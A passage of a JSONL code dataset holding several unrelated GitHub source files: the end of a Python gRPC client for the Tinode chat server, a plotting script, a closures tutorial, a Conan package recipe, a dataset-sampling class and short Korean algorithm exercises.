`{\"level\": \"high\", \"expires\": \"2019-10-06T18:07:30.038Z\"}`.\r\n Think \"starred\" or \"stickied\" messages. Can only be set by the\r\n topic owner or an administrator (with 'A' permission). The `\"expires\"`\r\n field is optional.\r\n \r\n `replace`: Set to the `\":seq_id\"` of another message in this\r\n topic to indicate that this message is a correction or\r\n replacement for that message.\r\n\r\n `reply`: Set to the `\":seq_id\"` of another message in this topic\r\n to indicate that this message is a reply to that message.\r\n\r\n `thread`: To indicate that this message is part of a conversation\r\n thread in this topic, set to the `\":seq_id\"` of the first message\r\n in the thread. Intended for tagging a flat list of messages, not\r\n creating a tree.\r\n\r\n `additional_headers`: Additional application-specific headers\r\n which should begin with `\"x--\"`, although\r\n not yet enforced.\r\n \"\"\"\r\n\r\n head = {}\r\n if forwarded is not None:\r\n head['forwarded'] = forwarded\r\n if hashtags is not None:\r\n head['hashtags'] = hashtags\r\n if mentions is not None:\r\n head['mentions'] = mentions\r\n if mime is not None:\r\n head['mime'] = mime\r\n if priority is not None:\r\n head['priority'] = priority\r\n if replace is not None:\r\n head['replace'] = replace\r\n if reply is not None:\r\n head['reply'] = reply\r\n if thread is not None:\r\n head['thread'] = thread\r\n if additional_headers is not None:\r\n for h in additional_headers:\r\n head[h] = additional_headers[h]\r\n\r\n await self.__send_message(pb.ClientMsg(\r\n pub=pb.ClientPub(\r\n topic=topic,\r\n no_echo=no_echo,\r\n head=head,\r\n content=content)))\r\n\r\n async def get_topic_description(self, topic: str, if_modified_since: Optional[Union[dt.datetime, int]] = None) -> TopicDescription:\r\n \"\"\"\r\n Get a `TopicDescription` for the named `topic`.\r\n If `if_modified_since` is given, then public and private fields\r\n will be returned only if at least one of them has been updated\r\n after that timestamp.\r\n \"\"\"\r\n\r\n if isinstance(if_modified_since, dt.datetime):\r\n # Convert dt.datetime to milliseconds since 1970 epoch\r\n if_modified_since = (if_modified_since - dt.datetime.utcfromtimestamp(0)).total_seconds() * 1000.0\r\n\r\n meta = await self.__send_message(pb.ClientMsg(\r\n get=pb.ClientGet(\r\n topic=topic,\r\n query=pb.GetQuery(\r\n what='desc', # query for topic description\r\n desc=pb.GetOpts(\r\n if_modified_since=if_modified_since)))))\r\n return TopicDescription(topic, meta.desc)\r\n\r\n async def get_profile(self, if_modified_since: Optional[Union[dt.datetime, int]] = None) -> TopicDescription:\r\n \"\"\"\r\n Get a `TopicDescription` representing the current user.\r\n If `if_modified_since` is given, then public and private fields\r\n will be returned only if at least one of them has been updated\r\n after that timestamp.\r\n \"\"\"\r\n\r\n return await self.get_topic_description('me', if_modified_since)\r\n \r\n async def get_subscribed_topics(\r\n self,\r\n limit: Optional[int] = None,\r\n if_modified_since: Optional[Union[dt.datetime, int]] = None) -> List[Subscription]:\r\n\r\n \"\"\"\r\n Get a list of `Subscription` for every topic the current user is\r\n subscribed to.\r\n\r\n `limit`: Only return results for this many topics.\r\n\r\n `if_modified_since`: Only return public and private fields if at\r\n least one of them has been updated after this timestamp.\r\n \"\"\"\r\n\r\n await self.subscribe('me')\r\n return await self.get_subscriptions('me', limit, if_modified_since)\r\n \r\n async def get_subscribed_users(\r\n self,\r\n topic: str,\r\n limit: Optional[int] = None,\r\n if_modified_since: Optional[Union[dt.datetime, int]] = None) -> List[Subscription]:\r\n\r\n \"\"\"\r\n Get a list of `Subscription` for every user subscribed to the named\r\n `topic`.\r\n\r\n `limit`: Only return results for this many users.\r\n\r\n `if_modified_since`: Only return public and private fields if at\r\n least one of them has been updated after this timestamp.\r\n \"\"\"\r\n\r\n return await self.get_subscriptions(topic, limit, if_modified_since)\r\n \r\n async def get_subscriptions(\r\n self,\r\n topic: str,\r\n limit: Optional[int] = None,\r\n if_modified_since: Optional[Union[dt.datetime, int]] = None) -> List[Subscription]:\r\n\r\n \"\"\"\r\n Get a list of `Subscription` for every user subscribed to the named\r\n `topic`. If `topic == \"me\"` then get a list of `Subscription` for\r\n every topic the current user is subscribed to.\r\n \r\n `limit`: Only return this many subscribers.\r\n\r\n `if_modified_since`: Only return public and private fields if at\r\n least one of them has been updated after this timestamp.\r\n \"\"\"\r\n\r\n if isinstance(if_modified_since, dt.datetime):\r\n # Convert dt.datetime to milliseconds since 1970 epoch\r\n if_modified_since = (if_modified_since - dt.datetime.utcfromtimestamp(0)).total_seconds() * 1000.0\r\n\r\n resp = await self.__send_message(pb.ClientMsg(\r\n get=pb.ClientGet(\r\n topic=topic,\r\n query=pb.GetQuery(\r\n what='sub', # query for subscribers\r\n sub=pb.GetOpts(\r\n if_modified_since=if_modified_since,\r\n limit=limit)))))\r\n \r\n if isinstance(resp, pb.ServerMeta):\r\n return [Subscription(s) for s in resp.sub]\r\n return [] # pb.ServerCtrl means server OK'd the request and sent no results\r\n\r\n async def find_users(self, tag_query_string: str):\r\n await self.subscribe('fnd')\r\n await self.set_topic_description('fnd', public=json.dumps(tag_query_string).encode('utf-8'))\r\n topics_and_users = await self.get_subscriptions('fnd')\r\n users = [u for u in topics_and_users if u.user_id]\r\n return users\r\n\r\n async def find_topics(self, tag_query_string: str):\r\n await self.subscribe('fnd')\r\n await self.set_topic_description('fnd', public=json.dumps(tag_query_string).encode('utf-8'))\r\n topics_and_users = await self.get_subscriptions('fnd')\r\n topics = [t for t in topics_and_users if t.topic]\r\n return topics\r\n \r\n async def get_message_history(self, topic: str, since: Optional[int] = None, before: Optional[int] = None, limit: Optional[int] = None):\r\n \"\"\"\r\n Get message history for the named `topic`. No return value;\r\n message history will come in through `messages()`, as usual.\r\n This method returns AFTER the message history comes in.\r\n\r\n `since`: Only return messages with sequence IDs greater than or\r\n equal to this integer (i.e., inclusive).\r\n\r\n `before`: Only return messages with sequence IDs less than this\r\n integer (i.e., exclusive).\r\n \r\n `limit`: Only return this many messages.\r\n \"\"\"\r\n\r\n await self.__send_message(pb.ClientMsg(\r\n get=pb.ClientGet(\r\n topic=topic,\r\n query=pb.GetQuery(\r\n what='data',\r\n data=pb.GetOpts(\r\n since_id=since,\r\n before_id=before,\r\n limit=limit)))))\r\n\r\n async def set_topic_description(\r\n self,\r\n topic: str,\r\n tags: Optional[List[str]] = None,\r\n public: Optional[bytes] = None,\r\n private: Optional[bytes] = None):\r\n \r\n \"\"\"\r\n Update metadata of the named `topic`.\r\n\r\n `tags`: Arbitrary case-insensitive strings used for discovering\r\n topics with `find_topics()`. Tags may have a prefix which serves\r\n as a namespace, like `region:us`. Tags may not contain the double\r\n quote `\"` but may contain spaces.\r\n\r\n `public`: Application-defined content to describe the topic,\r\n visible to all users using `get_topic_description()`. `None`\r\n will not clear the data; use a string with a single Unicode\r\n \\u2421 character (\\\\u2421).\r\n\r\n `private`: Per-user application-defined content to describe\r\n the topic, visible only to the current user. `None` will not\r\n clear the data; use a string with a single Unicode \\u2421\r\n character (\\\\u2421).\r\n \"\"\"\r\n\r\n await self.__send_message(pb.ClientMsg(\r\n set=pb.ClientSet(\r\n topic=topic,\r\n query=pb.SetQuery(\r\n tags=tags,\r\n desc=pb.SetDesc(\r\n public=public,\r\n private=private)))))\r\n # TODO return a TopicDescription? is this ctrl or meta?\r\n\r\n async def set_profile(\r\n self,\r\n tags: Optional[List[str]] = None,\r\n public: Optional[bytes] = None,\r\n private: Optional[bytes] = None) -> str:\r\n\r\n \"\"\"\r\n Update the current user's metadata with the specified information.\r\n\r\n `tags`: Arbitrary case-insensitive strings used for discovering\r\n users with `find_users()`. Tags may have a prefix which serves as\r\n a namespace, like `tel:14155551212`. Tags may not contain the\r\n double quote `\"` but may contain spaces.\r\n\r\n `public`: Application-defined content to describe the user,\r\n visible to all users.\r\n\r\n `private`: Private application-defined content to describe the\r\n user, visible only to the user.\r\n \"\"\"\r\n \r\n await self.subscribe('me')\r\n await self.set_topic_description('me', tags=tags, public=public, private=private)\r\n\r\n async def set_permissions(\r\n self,\r\n topic: str,\r\n user_id: str,\r\n permissions: str):\r\n\r\n \"\"\"\r\n Update a user's permissions in the named `topic`. Use this method\r\n to invite users to subscribe, to change ownership, to accept\r\n ownership changes, etc.\r\n\r\n If `user_id` is `None`, then this operation will apply to the\r\n current user.\r\n\r\n See Tinode documentation for more on the `permissions` string:\r\n https://github.com/tinode/chat/blob/master/docs/API.md#access-control\r\n \"\"\"\r\n\r\n await self.__send_message(pb.ClientMsg(\r\n set = pb.ClientSet(\r\n topic=topic,\r\n query=pb.SetQuery(\r\n sub=pb.SetSub(\r\n user_id=user_id,\r\n mode=permissions)))))\r\n\r\n async def delete_messages(self, topic: str, messages: Union[int, Tuple[int, int], List[Union[int, Tuple[int, int]]]], hard: bool = False):\r\n \"\"\"\r\n Delete messages from the named `topic`.\r\n\r\n `messages`: A single message ID, a range of message IDs, or an\r\n array of message IDs and ranges of message IDs to delete. A\r\n range must be in the form of an inclusive-exclusive tuple. For\r\n example, `[65, (123, 126), (200, 201)]` will cause messages `65`,\r\n `123`, `124`, `125` and `200` to be deleted.\r\n\r\n If `hard` is `False`, then the messages will be hidden from\r\n the requesting user but still visible to other users. If\r\n `hard` is `True`, then the messages (`head` and `content`)\r\n will be deleted from storage, leaving a message stub, affecting\r\n all users.\r\n \"\"\"\r\n\r\n if isinstance(messages, int):\r\n messages = [(messages, messages + 1)]\r\n elif isinstance(messages, tuple):\r\n messages = [messages]\r\n elif isinstance(messages, list):\r\n original_messages = messages\r\n messages = []\r\n for m in original_messages:\r\n if isinstance(m, int):\r\n messages.append([(m, m + 1)])\r\n elif isinstance(m, tuple):\r\n messages.append(m)\r\n else:\r\n raise Rejected(\"Invalid format of 'messages' to delete\")\r\n else:\r\n raise Rejected(\"Invalid format of 'messages' to delete\")\r\n \r\n await self.__send_message(pb.ClientMsg(**{\r\n # 'del' is a reserved keyword in python, so we use dict expansion\r\n 'del': pb.ClientDel(\r\n topic=topic,\r\n what=pb.ClientDel.MSG,\r\n del_seq=[pb.SeqRange(low=low, hi=hi) for low, hi in messages],\r\n hard=hard)\r\n }))\r\n \r\n async def delete_topic(self, topic: str):\r\n \"\"\"\r\n Delete a topic, including all subscriptions and all messages. Only\r\n the owner can delete a topic. Peer-to-peer topics cannot be deleted.\r\n\r\n \"\"\"\r\n await self.__send_message(pb.ClientMsg(**{\r\n # 'del' is a reserved keyword in python, so we use dict expansion\r\n 'del': pb.ClientDel(\r\n topic=topic,\r\n what=pb.ClientDel.TOPIC,\r\n hard=True)\r\n }))\r\n\r\n async def notify_key_press(self, topic: str):\r\n \"\"\"\r\n Forward an ephemeral notification to other clients currently\r\n attached to the named `topic` that the current user is\r\n composing a new message.\r\n\r\n This action is not acknowledged by the server and is silently\r\n dropped if invalid.\r\n \"\"\"\r\n\r\n await self.__send_message(pb.ClientMsg(\r\n note=pb.ClientNote(\r\n topic=topic,\r\n what=pb.KP)),\r\n no_response=True)\r\n\r\n async def notify_received(self, topic: str, message: int):\r\n \"\"\"\r\n Forward an ephemeral notification to other clients currently\r\n attached to the named `topic` that the current user has\r\n received the message with sequence ID `message`.\r\n\r\n Note that `get_topic_description()` returns the ID of the\r\n last received message in a topic.\r\n\r\n This action is not acknowledged by the server and is silently\r\n dropped if invalid.\r\n \"\"\"\r\n\r\n await self.__send_message(pb.ClientMsg(\r\n note=pb.ClientNote(\r\n topic=topic,\r\n what=pb.RECV,\r\n seq_id=message)),\r\n no_response=True)\r\n\r\n async def notify_read(self, topic: str, message: int):\r\n \"\"\"\r\n Forward an ephemeral notification to other clients currently\r\n attached to the named `topic` that the current user has\r\n read the message with sequence ID `message`.\r\n\r\n Note that `get_topic_description()` returns the ID of the\r\n last read message in a topic.\r\n\r\n This action is not acknowledged by the server and is silently\r\n dropped if invalid.\r\n \"\"\"\r\n\r\n await self.__send_message(pb.ClientMsg(\r\n note=pb.ClientNote(\r\n topic=topic,\r\n what=pb.READ,\r\n seq_id=message)),\r\n no_response=True)\r\n \r\n async def close(self):\r\n \"\"\"\r\n Close the current session and clean up any resources.\r\n Automatically called upon exit if using the\r\n `async with new_session():` async context manager pattern.\r\n \"\"\"\r\n\r\n if self.__stream is not None:\r\n await self.__stream.cancel()\r\n self.__stream = None\r\n \r\n if self.__channel is not None:\r\n self.__channel.close()\r\n \r\n if self.__message_loop_future is not None:\r\n self.__message_loop_future.cancel()\r\n\r\n # region implementation details\r\n \r\n async def __aenter__(self):\r\n self.__ensure_message_loop_started()\r\n return self\r\n \r\n async def __aexit__(self, exc_type, exc, tb):\r\n await self.close()\r\n\r\n __message_loop_lock = threading.Lock()\r\n \r\n def __ensure_message_loop_started(self):\r\n \"\"\"\r\n Starts the \"message loop\", which allows messages to\r\n be sent to the chat server and which listens for\r\n messages received from the chat server.\r\n \"\"\"\r\n\r\n with self.__message_loop_lock:\r\n if self.__message_loop_future is None:\r\n if not self.__chat_event_loop.is_running():\r\n raise RuntimeError('Supplied event loop is not running')\r\n self.__message_loop_future = asyncio.run_coroutine_threadsafe(self.__message_loop(), self.__chat_event_loop)\r\n self.__ready_for_messages.wait() # TODO timeout\r\n\r\n async def __message_loop(self):\r\n \"\"\"\r\n On the internal chat event loop, open a gRPC channel\r\n to the chat server, make ourselves known to the server\r\n with a \"hi\" message, and start listening to messages\r\n from the server.\r\n \"\"\"\r\n\r\n # Connect to the server\r\n self.__channel = grpclib.client.Channel(self.__host, self.__port)\r\n async with pbx.NodeStub(self.__channel).MessageLoop.open() as stream:\r\n # Say hello to the server\r\n await stream.send_message(pb.ClientMsg(\r\n hi=pb.ClientHi(\r\n id='hello',\r\n user_agent=self.__user_agent,\r\n ver=self.__ver,\r\n device_id=self.__device_id,\r\n lang=self.__lang,\r\n platform=self.__platform)))\r\n hi_resp = await stream.recv_message() # TODO timeout\r\n \r\n # Tell producers that we are ready for business\r\n self.__stream = stream\r\n self.__ready_for_messages.set()\r\n\r\n # Handle responses from the server\r\n async for msg in stream:\r\n if msg.HasField('ctrl'):\r\n await self.__handle_ctrl_msg(msg.ctrl)\r\n elif msg.HasField('meta'):\r\n await self.__handle_meta_msg(msg.meta)\r\n elif msg.HasField('data'):\r\n await self.__handle_data_msg(msg.data)\r\n # TODO handle 'pres', 'info', 'topic'\r\n\r\n async def __handle_ctrl_msg(self, ctrl):\r\n \"\"\" Runs on the internal chat event loop \"\"\"\r\n\r\n self.__non_data_responses[ctrl.id] = ctrl\r\n ev = self.__non_data_events[ctrl.id]\r\n ev._loop.call_soon_threadsafe(ev.set) # TODO this is private API but we need to set() it on the client event loop\r\n \r\n async def __handle_meta_msg(self, meta):\r\n \"\"\" Runs on the internal chat event loop \"\"\"\r\n\r\n self.__non_data_responses[meta.id] = meta\r\n ev = self.__non_data_events[meta.id]\r\n ev._loop.call_soon_threadsafe(ev.set) # TODO this is prviate API but we need to set() it on the client event loop\r\n\r\n async def __handle_data_msg(self, data):\r\n \"\"\" Runs on the internal chat event loop \"\"\"\r\n\r\n # Available fields on 'data':\r\n # topic, from_user_id, timestamp, deleted_at, seq_id, head, content\r\n\r\n # Put the message on the queue\r\n self.__data_messages.put(DataMessage(data))\r\n\r\n # Set the asyncio.Event so the messages() async generator can yield messages\r\n ev = self.__data_event\r\n ev._loop.call_soon_threadsafe(ev.set) # TODO this is private API but we need to set() it on the client event loop\r\n\r\n __next_message_id = 100\r\n __next_message_id_lock = threading.Lock()\r\n\r\n def __get_next_message_id(self) -> str:\r\n with self.__next_message_id_lock:\r\n self.__next_message_id += 1\r\n return str(self.__next_message_id)\r\n \r\n async def __send_message(self, message: pb.ClientMsg, no_response=False) -> Optional[Any]:\r\n \"\"\" Run on the client event loop \"\"\"\r\n\r\n self.__ensure_message_loop_started()\r\n \r\n # Send the message to the server with a brand new message ID\r\n message_id = self.__get_next_message_id()\r\n self.__set_message_id(message, message_id)\r\n if not no_response:\r\n self.__non_data_events[message_id] = asyncio.Event()\r\n await self.__stream.send_message(message)\r\n \r\n # Wait for a response from the server\r\n if no_response:\r\n return\r\n \r\n await self.__non_data_events[message_id].wait() # TODO timeout\r\n del self.__non_data_events[message_id]\r\n response = self.__non_data_responses.pop(message_id)\r\n \r\n # Handle the response's status code, if it's ctrl\r\n if isinstance(response, pb.ServerCtrl):\r\n self.__raise_for_ctrl_status(response)\r\n \r\n return response\r\n \r\n def __set_message_id(self, message: pb.ClientMsg, message_id: str):\r\n done = False\r\n for field in ['hi', 'acc', 'login', 'sub', 'leave', 'pub', 'get', 'set', 'del']:\r\n if message.HasField(field):\r\n if done:\r\n raise RuntimeError('Too many message types in pb.ClientMsg instance')\r\n getattr(message, field).id = message_id\r\n done = True\r\n if not done and not message.HasField('note'): # {note} is fire-and-forget\r\n raise RuntimeError('No message types in pb.ClientMsg instance')\r\n\r\n def __raise_for_ctrl_status(self, ctrl):\r\n if ctrl.code >= 400 and ctrl.code < 500:\r\n raise Rejected(ctrl.text)\r\n if ctrl.code >= 500 and ctrl.code < 600:\r\n raise RuntimeError(f'Server error: {ctrl.text}')\r\n\r\n # endregion\r\n\r\n\r\n\"\"\"\r\nTODO:\r\ncredentials\r\naccess\r\ndel what=sub\r\ndel what=topic\r\ndel what=user\r\ndel what=cred\r\n\"\"\"","repo_name":"arseniybanayev/chatapi","sub_path":"chat/session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":33784,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"} +{"seq_id":"24900102705","text":"## Convergence Plot for Eval 3\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nevalnum = 3\nfigpath = \"/Users/mac/Desktop/t3_mnt/RNPopt/data/result/eval3/progress.png\"\n\n\ndef plot():\n path = f'/Users/mac/Desktop/t3_mnt/RNPopt/data/result/eval3/cmaes_log.txt'\n df = pd.read_csv(path, sep=':', header=None)\n figure = plt.figure()\n axes = figure.add_axes([0.14, 0.12, 0.83, 0.81])\n axes2 = figure.add_axes([0.4, 0.4, 0.52, 0.48]) # rested\n x = np.arange(len(df))\n axes.plot(x, df[0], 'b', linewidth=0.7, alpha=0.6, color=\"blue\")\n axes.set_xlabel('Step', fontsize=15)\n axes.set_ylabel('Average Ranking', fontsize=18)\n axes.tick_params(axis='both', which='major', labelsize=12)\n if evalnum == 2:\n axes.set_title(f'Evaluation {evalnum}', fontsize=18)\n else:\n axes.set_title(f'Evaluation {evalnum}', fontsize=18)\n\n axes2.plot(x, df[0], 'r', linewidth=0.5, alpha=0.6, color=\"blue\")\n if evalnum == 2:\n axes2.set_ylim([1, 1.05])\n axes2.set_xlim([1000, 5000])\n else:\n axes2.set_ylim([1, 1.1])\n axes2.set_xlim([3000, 7000])\n axes2.set_xlabel('Step', fontsize=15)\n axes2.set_ylabel('Average Ranking', fontsize=14)\n axes2.tick_params(axis='both', which='major', labelsize=12)\n\n plt.savefig(f'{figpath}.png', dpi=400, bbox_inches='tight')\n plt.show()\n\n\nif __name__ == '__main__':\n plot()\n","repo_name":"takahh/protein-RNA-CMAES","sub_path":"python/eval3/plot_converge.py","file_name":"plot_converge.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"43909485401","text":"#The criteria that must be met to create closure in Python are summarized in \n# the following points:\n # We must have a nested function (function inside a function).\n # The nested function must refer to a value defined in the enclosing function.\n # The enclosing function must return the nested function.\n\n\n# A closure is a function is an inner function that remembers and has access \n# to variables in the local scope in which it was created even after the \n# outer function has finished executing.\n# A closure closes over the free variable from their environment.\n\n# A Closure is a function object that remembers values in enclosing scopes \n# even if they are not present in memory. \n\ndef outer_function():\n msg = 'hi'\n \n def inner_function():\n print(msg)\n\n return inner_function # notice no parenthesis here.\n\nmy_func = outer_function()\nprint(my_func)\nprint(my_func.__name__)\nmy_func()\nmy_func()\nmy_func()\nmy_func()\n\n# ---------------------------------------------------------------------------------------\n\ndef outer_function(msg):\n message = msg\n\n def inner_function():\n print(message)\n\n return inner_function\n\n\nhi_func = outer_function('Hi')\nhello_func = outer_function('Hello')\n\ndel outer_function # the returned function still works even when the original \n # function was deleted.\n\n \nhi_func()\n\nhello_func( )\n\n#print(dir(outer_function('hi'))) # notice how it contains closure object.\n#print(dir(hello_func))\n\n# ---------------------------------------------------------------------------------------\n# Free variable\n# Here variable a is defined in the scope of outer() function. If we look at \n# inner() function, a is not defined there. But, function inner() is using \n# variable a and hence variable a in inner() function is Free Variable.\n# The technique by which free variables get attached to the function in Python \n# is known as Closures. Python accomplish this task by creating an intermediary \n# object called Cell.","repo_name":"sunyogg/myPython","sub_path":"myPython/intermediate_python_/4closures.py","file_name":"4closures.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"31965600265","text":"from conan import ConanFile\nfrom conan.errors import ConanInvalidConfiguration\nfrom conan.tools.microsoft import is_msvc\nfrom conan.tools.files import get, copy, rmdir\nfrom conan.tools.cmake import CMake, CMakeDeps, CMakeToolchain, cmake_layout\nimport os\n\n\nrequired_conan_version = \">=1.53.0\"\n\n\nclass SshtConan(ConanFile):\n name = \"ssht\"\n license = \"GPL-3.0-or-later\"\n url = \"https://github.com/conan-io/conan-center-index\"\n homepage = \"https://github.com/astro-informatics/ssht\"\n description = \"Fast spin spherical harmonic transforms\"\n settings = \"os\", \"arch\", \"compiler\", \"build_type\"\n topics = (\"physics\", \"astrophysics\", \"radio interferometry\")\n package_type = \"static-library\"\n options = {\"fPIC\": [True, False]}\n default_options = {\"fPIC\": True}\n\n def config_options(self):\n if self.settings.os == \"Windows\":\n del self.options.fPIC\n\n def configure(self):\n self.settings.rm_safe(\"compiler.libcxx\")\n self.settings.rm_safe(\"compiler.cppstd\")\n\n def layout(self):\n cmake_layout(self, src_folder=\"src\")\n\n def requirements(self):\n self.requires(\"fftw/3.3.10\")\n\n def validate(self):\n if is_msvc(self):\n raise ConanInvalidConfiguration(\"SSHT requires C99 support for complex numbers.\")\n\n def source(self):\n get(self, **self.conan_data[\"sources\"][self.version], strip_root=True)\n\n def generate(self):\n tc = CMakeToolchain(self)\n tc.cache_variables[\"tests\"] = False\n tc.cache_variables[\"python\"] = False\n tc.generate()\n deps = CMakeDeps(self)\n deps.set_property(\"fftw\", \"cmake_target_name\", \"FFTW3::FFTW3\")\n deps.generate()\n\n\n def build(self):\n cmake = CMake(self)\n cmake.configure()\n cmake.build()\n\n def package(self):\n copy(self, pattern=\"LICENSE\", dst=os.path.join(self.package_folder, \"licenses\"), src=self.source_folder)\n cmake = CMake(self)\n cmake.install()\n rmdir(self, os.path.join(self.package_folder, \"lib\", \"cmake\"))\n\n def package_info(self):\n self.cpp_info.libs = [\"ssht\"]\n","repo_name":"conan-io/conan-center-index","sub_path":"recipes/ssht/all/conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":2116,"program_lang":"python","lang":"en","doc_type":"code","stars":835,"dataset":"github-code","pt":"77"} +{"seq_id":"16478089358","text":"# -*- coding: utf-8 -*-\nimport random\n\nfrom ttab.api import PyTorchDataset\n\n\nclass DatasetSampling(object):\n def __init__(self, test_domain) -> None:\n self.domain_sampling_name = test_domain.domain_sampling_name\n self.domain_sampling_value = test_domain.domain_sampling_value\n self.domain_sampling_ratio = test_domain.domain_sampling_ratio\n\n def sample(self, dataset: PyTorchDataset, random_seed=None) -> PyTorchDataset:\n if self.domain_sampling_name == \"uniform\":\n return self._uniform_sample(dataset=dataset, random_seed=random_seed)\n\n def _uniform_sample(self, dataset: PyTorchDataset, random_seed=None):\n \"\"\"This function uniformly samples data from the original dataset without replacement.\"\"\"\n random.seed(random_seed)\n sampled_list = random.sample(\n dataset.dataset.indices,\n int(self.domain_sampling_ratio * dataset.dataset.data_size),\n )\n sampled_list.sort()\n dataset.replace_indices(\n indices_pattern=\"new\", new_indices=sampled_list, random_seed=random_seed\n )\n\n return dataset\n","repo_name":"TTAB2023/TTAB","sub_path":"ttab/loads/datasets/dataset_sampling.py","file_name":"dataset_sampling.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"} +{"seq_id":"13449004092","text":"#arr = [list(map(int, sys.stdin.readline().split())) for _ in range(3)]\nimport sys\n\nT = int(sys.stdin.readline())\n\nfor _ in range(T):\n PS = list(sys.stdin.readline().rstrip())\n \n s = []\n count = 0\n #첫 번째가 \")\"괄호로 시작하면 무조건 잘 못된 경우\n if PS[0] == \")\":\n print(\"NO\")\n else:\n #스택에 괄호 넣고 빼기\n for i in range(len(PS)):\n if PS[i] == \"(\":\n s.append(\"(\")\n else:\n if not s:\n count += 1\n else: \n s.pop()\n \n #리스트 개수만큼 반복이 끝난 후 스택에 남아있는지 확인\n #스택에 남아있으면 VPS가 아님\n #단 리스트 중간에 스택이 비어있을 경우 count 변수로 체크\n #=>빈 스택에 \")\" 괄호가 들어오는 잘 못된 경우\n if not s:\n if 0 != count:\n print(\"NO\")\n else:\n print(\"YES\")\n else:\n print(\"NO\")\n \n \n ","repo_name":"weed700/coding_test","sub_path":"Baekjoon/Class2/silver4_9012_괄호.py","file_name":"silver4_9012_괄호.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"73090855929","text":"#Global and local scope\r\n\r\n\r\nnama_global = \"otong\" # Variable global\r\n\r\n\r\n#Akses variable global dalam fungsi\r\ndef fungsi():\r\n print(f\"fungsi menampilkan {nama_global}\")\r\n\r\n\r\n\r\nfungsi()\r\n\r\n\r\n#Akses variable global dalam loop\r\nfor i in range(0,5):\r\n print(f\"loop {i} - {nama_global}\")\r\n\r\n\r\n# Percabangan\r\nif True:\r\n print(f\"if menampilkan {nama_global}\")\r\n\r\n\r\n## Variable local scope\r\n\r\ndef fungsi2():\r\n nama_local = \"Ucup\"\r\n\r\n\r\nfungsi2()\r\n# print(nama_local) # tidak akan bisa diakses karena variable local\r\n\r\n\r\n## Contoh penggunaan\r\ndef say_otong():\r\n print(f\"Hello {nama}\")\r\n\r\n \r\nnama = \"otong\"\r\nsay_otong() # variabel akan dipanggil karena belum digunakan fungsi itu sendiri seblum di deklarasikan\r\n\r\n## contoh 2:\r\n\r\n# angka = 0\r\n\r\n# def ubah_angka(nilai_baru):\r\n# angka = nilai_baru\r\n\r\n# print(f\"sebelum = {angka}\")\r\n# ubah_angka(10)\r\n# print(f\"sesudah = {angka}\") # variable angka tidak akan berubah karena angka adalah variable local\r\n\r\n\r\n# Solusi\r\n\r\nangka = 0\r\nname = \"ucup\"\r\n\r\ndef ubah(nilai_baru, nama_baru):\r\n global angka #fungsi ini mendapat akses merubah angka\r\n global name\r\n angka = nilai_baru\r\n name = nama_baru\r\n\r\nprint(f\"sebelum = {angka, name}\")\r\nubah(10, \"otong\")\r\nprint(f\"sesudah = {angka, name}\") \r\n\r\n# Contoh 3\r\nangka = 0\r\nfor i in range(0,5):\r\n angka += i \r\n angka_dummy = 0\r\n\r\nprint(angka)\r\nprint(angka_dummy)\r\n\r\nif True:\r\n angka = 10\r\n angka_dummy = 10\r\n\r\nprint(angka)\r\nprint(angka_dummy)","repo_name":"olober76/Python-Learning","sub_path":"STRUCTURAL/20-Global_Local_Scope/GlobalLocalScope.py","file_name":"GlobalLocalScope.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"25728716787","text":"import sys\r\ninput = sys.stdin.readline\r\nS, C = map(int, input().split())\r\ngreen_onion = []\r\nfor _ in range(S):\r\n green_onion.append(int(input()))\r\n\r\ngreen_onion.sort()\r\nl = 1\r\nr = green_onion[-1]\r\nsum_g = sum(green_onion)\r\nanswer = 0\r\nwhile l<=r:\r\n mid = (l+r)//2\r\n cnt = 0\r\n left = 0\r\n for g_o in green_onion: #해당 길이로 파닭에 얼마나 넣을 수 있는지 계산\r\n cnt += g_o // mid\r\n if cnt >= C : #파의 수와 파닭의 수가 같은 경우에도, 더 많은 양의 파를 넣어야 함\r\n l = mid + 1\r\n answer = max(answer, mid) #현재 파의 양과 이전에 저장된 파 중 많은 양 저장\r\n else :\r\n r = mid - 1\r\n\r\nprint(sum_g-answer*C)","repo_name":"myejin/ALGO_STUDY_123","sub_path":"이분탐색/jieun/14627_파닭파닭.py","file_name":"14627_파닭파닭.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"29422877769","text":"# completa el código de la función\n\ndef amigos(a,b):\n i=1\n divA=[]\n while i < a:\n if a%i==0:\n divA.append(i)\n i+=1\n\n i = 1\n divB = []\n while i < b:\n if b % i == 0:\n divB.append(i)\n i += 1\n if sum(divA) == b and sum(divB) == a:\n return True\n else:\n return False\n","repo_name":"pabloschwarzenberg/grader","sub_path":"tema2_ej2/tema2_ej2_fc38c56b7f5358328f80ecb856d5a865.py","file_name":"tema2_ej2_fc38c56b7f5358328f80ecb856d5a865.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"74211837688","text":"from collections import Counter\n\ns = list(input())\ns.sort()\ncount = Counter(s)\nodd = 0 # 홀수 개 수\nodd_s = ''\nresult = ''\n\nfor i in count:\n if count[i] %2 != 0: # 홀수라면 odd를 늘려준다.\n odd += 1\n odd_s += i\n\n for _ in range(count[i] // 2) : # 양쪽 대칭이 되어야 하므로 한쪽만 먼저 구해준다. 한쪽만 구해줘야 하기 때문에 //2 를 해준다.\n result += i # 나누기 2만 만큼의 개수를 더해준다.\n\nif odd == 0: # 홀수가 하나도 없다면 AABB면 AB만 구해주고 거꾸로 BA를 더해준다.\n print(result + result[::-1])\nelif odd == 1:\n print(result + odd_s + 